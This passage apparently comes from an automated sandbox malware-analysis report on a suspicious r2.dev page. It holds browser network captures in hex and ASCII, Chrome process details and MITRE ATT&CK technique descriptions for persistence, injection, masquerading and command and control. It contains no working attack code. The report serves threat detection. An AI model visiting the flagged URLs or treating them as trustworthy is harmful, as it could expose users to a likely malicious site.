74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 Data Ascii: ]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.of
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 Data Ascii: ,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49733	35.156.224.161	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:36 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:36 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sun, 29 Sep 2024 00:27:36 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XJSYEYRHP2A0AA0X53AQ6R Content-Length: 50 Connection: close
2024-09-29 00:27:36 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 4a 53 59 45 59 52 48 50 32 41 30 41 41 30 58 35 33 41 51 36 52 Data Ascii: Not Found - Request ID: 01J8XJSYEYRHP2A0AA0X53AQ6R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49737	151.101.194.137	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:36 UTC	354	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:36 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:36 GMT Age: 3345865 X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740060-EWR X-Cache: HIT, HIT X-Cache-Hits: 146, 1 X-Timer: S1727569656.414274,VS0,VE1 Vary: Accept-Encoding
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-09-29 00:27:36 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49741	185.199.108.153	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:36 UTC	382	OUT	GET /gibberish-detector.js/gibberish.min.js HTTP/1.1 Host: gtomitsuka.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:36 UTC	722	IN	HTTP/1.1 200 OK Connection: close Content-Length: 928 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Sun, 28 Jul 2019 00:43:06 GMT Access-Control-Allow-Origin: * ETag: "5d3cef9a-3a0" expires: Sat, 28 Sep 2024 01:23:55 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 2E9C:1D391E:15C0A09:180509F:66F7584D Accept-Ranges: bytes Age: 367 Date: Sun, 29 Sep 2024 00:27:36 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890096-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1727569657.663130,VS0,VE1 Vary: Accept-Encoding X-Fastly-Request-ID: 2ddfe4a0ebab1d4a83c06e42c572a3aeaced5a63
2024-09-29 00:27:36 UTC	928	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 62 2c 61 29 7b 72 65 74 75 72 6e 20 63 3c 62 3f 28 61 3d 62 2d 63 2c 4d 61 74 68 2e 6c 6f 67 28 62 29 2f 4d 61 74 68 2e 6c 6f 67 28 61 29 2a 31 30 30 29 3a 63 3e 61 3f 28 62 3d 63 2d 61 2c 4d 61 74 68 2e 6c 6f 67 28 31 30 30 2d 61 29 2f 4d 61 74 68 2e 6c 6f 67 28 62 29 2a 31 30 30 29 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 7b 7d 2c 61 3d 22 22 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 63 5b 64 5d 69 6e 20 62 7c 7c 28 62 5b 63 5b 64 5d 5d 3d 31 2c 61 2b 3d 63 5b 64 5d 29 3b 72 65 74 75 72 6e 20 61 7d 68 2e 64 65 74 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 7c 7c 21 63 2e Data Ascii: (function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49739	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:36 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 00:27:36 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=145076 Date: Sun, 29 Sep 2024 00:27:36 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-29 00:27:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 1496, Parent PID: 5736

General

Target ID:	0
Start time:	20:27:20
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6056, Parent PID: 1496

General

Target ID:	2
Start time:	20:27:25
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2328,i,8026350852985058679,5280936340739271896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2876, Parent PID: 5736

General

Target ID:	3
Start time:	20:27:27
Start date:	28/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

